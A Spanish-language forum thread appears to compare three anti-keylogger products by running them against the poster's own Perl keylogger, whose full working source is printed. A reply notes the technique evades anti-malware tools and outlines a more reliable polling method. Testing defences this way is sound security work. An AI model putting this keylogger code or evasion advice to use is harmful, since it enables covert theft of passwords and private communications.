Resultados 1 al 2 de 2

Anti-Keyloggers a examen

  1. #1 Anti-Keyloggers a examen 
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.284
    Descargas
    223
    Uploads
    250
    Uno de los riesgos mas preocupantes que nos podemos encontrar cuando usamos un PC es que todas las pulsaciones realizadas sobre él sean interceptadas y grabadas.

    Los famosos 'Keyloggers' resultan muy útiles para robar principalmente contraseñas, aunque también supone un riesgo contra nuestra privacidad si todos los correos escritos / conversaciones de chat etc son interceptados.

    Existen un buen numero de programas 'Anti keyloggers', de todos ellos he seleccionado 3

    Zemana AntiLogger
    DataGuard AntiKeylogger
    PrivacyKeyboard

    Todos ellos prometen lo mismo: son capaces de detectar y bloquear cualquier tipo de keylogger conocido o desconocido, es decir, no actúan con listas negras / blancas, analizan comportamiento.

    Para ponerlos a prueba he preferido no usar algún keylogger conocido y famoso por aquello del ¿será verdad que no usan firmas?. Así que me he hecho mi propio keylogger.

    Mi Keylogger es extremadamente simple y sencillo, haciendo uso de GetAsyncKeyState, una llamada disponible en el API de Windows, he construido un simple pero efectivo keylogger en Perl.

    El keylogger registra cualquier pulsación del teclado y permite escribir lo capturado o bien por pantalla, o en un fichero especificado como primer argumento.

    Código:
    use Win32::API; 
    use Time::HiRes qw(usleep); 
    use strict ; 
     
    $|=1; 
     
    $SIG{'INT'} = \&muere; 
    $SIG{'QUIT'} = \&muere; 
    $SIG{'KILL'} = \&muere; 
    $SIG{'ABRT'} = \&muere; 
    $SIG{'STOP'} = \&muere; 
     
    sub muere 
     
    { 
       close FH ; 
       exit 0; 
    } 
     
    my $rsGetAsyncKeyState = new Win32::API("user32", "GetAsyncKeyState", "N", "I");  
    my $ret;  
    my $keyCode; 
     
     
    while(1) {      
       if (@ARGV[0]) { 
     
           open (FH, ">>", "@ARGV[0]") ; 
     
       } 
     
       for ($keyCode=0; $keyCode<256; $keyCode++) { 
     
           $ret = $rsGetAsyncKeyState->Call($keyCode); 
     
           if ($ret eq -32767) {  
     
               my $tecla= chr($keyCode); 
     
               if (@ARGV[0]) { 
     
                   if ($keyCode == "13") { print FH "\n" } 
                   print FH "$tecla"
     
               } 
     
               else { 
     
                   if ($keyCode == "13") { print "\n" } 
                   print "$tecla"
     
               } 
           }    
       } 
       usleep(1000); 
    }
    Se puede descargar ya convertido en .exe aquí


    Zemana AntiLogger

    Una vez completado el proceso de instalación (siguiente siguiente fin) procedemos a ejecutar keylog.exe desde un cmd.exe y automáticamente aparece una notificación en el tray:


    Perfecto ! lo ha pillado a la primera, ha identificado que es un keylogger y lo ha bloqueado. Al intentar volver a ejecutar el proceso keylog.exe, directamente no se ejecuta, si copiamos el .exe con otro nombre, da igual, está bloqueado.

    DataGuard AntiKeylogger

    Una vez hecha la instalación nos pide que re-iniciemos el sistema, terminado ese paso ya está activo.

    Repetimos la prueba, ejecutamos keylog.exe y ¡sorpresa! no tenemos ningún evento que notifique que hay un keylogger en uso, no obstante, el keylogger no funciona. Asumo que DataGuard bloquea ciertas llamadas al sistema como método de protección. Bien por bloquear el keylogger, mal por no haberlo detectado.

    Si vamos a los logs del programa:


    Vemos que si ha detectado y bloqueado parte del software de VMware, siendo este claramente un falso positivo.

    PrivacyKeyboard

    Vamos con la tercera prueba, una vez instalamos PrivacyKeyboard, lanzamos nuestro -a estas alturas- ya querido keylog.exe y ¡vaya! ni un solo evento / notificación, no obstante y repitiendo el mismo patrón que con DataGuard, el keylog tampoco es efectivo, no recoge datos.

    Si observamos el visor de logs del programa:


    Se repite el mismo falso positivo con VMware que daba DataGuard.

    Conclusión

    Todas las soluciones analizadas han sido capaces de bloquear el uso de nuestro simple keylogger volviéndolo inefectivo. Pero solo una, Zemana, es capaz de identificar el keylogger y avisarnos de que está siendo utilizado en el sistema. El resto, no solo no nos han notificado, sino que además han cometido falsos positivos


    [][][] LUK [][][]
    hackhispano.com
    Citar  
     

  2. #2  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    El uso de la función GetAsyncKeyState es bastante conocido. Al no utilizar ganchos (hooks) se presentan sus ventajas y desventajas.

    Ventaja: No es detectado por los anti-malwares.
    Desventaja: No se atiende a eventos. No se puede saber a priori cuándo una tecla ha sido pulsada o soltada (es una función asíncrona), por lo que es necesario estar continuamente interrogando el estado de cada tecla para saber su estado (hacer un polling o sondeo a las teclas que se quiere inspeccionar).

    El problema radica en que, tal y como está el ejemplo, dicho sondeo se hace cada segundo (1000 ms), y si tenemos en cuenta la velocidad de pulsaciones de muchos usuarios, puede darse el caso que pase por alto el haber pulsado una tecla (el keylogger no asegura que se intercepten el 100% de las teclas pulsadas).

    Por el contrario, si se establece que el sondeo se realice, por ejemplo cada 1ms, las teclas pulsadas saldrán repetidas: (usuario escribe "hola" el keylogger registra: "hhhhhhhhoooooooollllllllaaaaaa").

    Como solución a este problema, en un código similar improvisé una solución, que se basa en hacer uso de la función GetKeyBoardState, sondeando cada 1ms, y comparando el estado del bufer devuelto por esta función con la siguiente captura. Si son iguales, quiere decir que el usuario aún no ha pulsado/soltado la tecla i-esima del buffer y si son distintos, la tecla i-esima del buffer ha sido pulsada/soltada.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

Temas similares

  1. Respuestas: 0
    Último mensaje: 17-10-2013, 10:39
  2. Respuestas: 1
    Último mensaje: 13-11-2011, 15:09
  3. trucos para examen auto
    Por chico1988 en el foro OFF-TOPIC
    Respuestas: 4
    Último mensaje: 24-08-2009, 23:07
  4. ¿Todo ok? (Examen para Novato)
    Por Tr0Y en el foro DIGITAL+
    Respuestas: 2
    Último mensaje: 16-01-2007, 20:52
  5. Exámen HackHispano!
    Por TseTse en el foro OFF-TOPIC
    Respuestas: 7
    Último mensaje: 22-07-2003, 06:53

Marcadores

Marcadores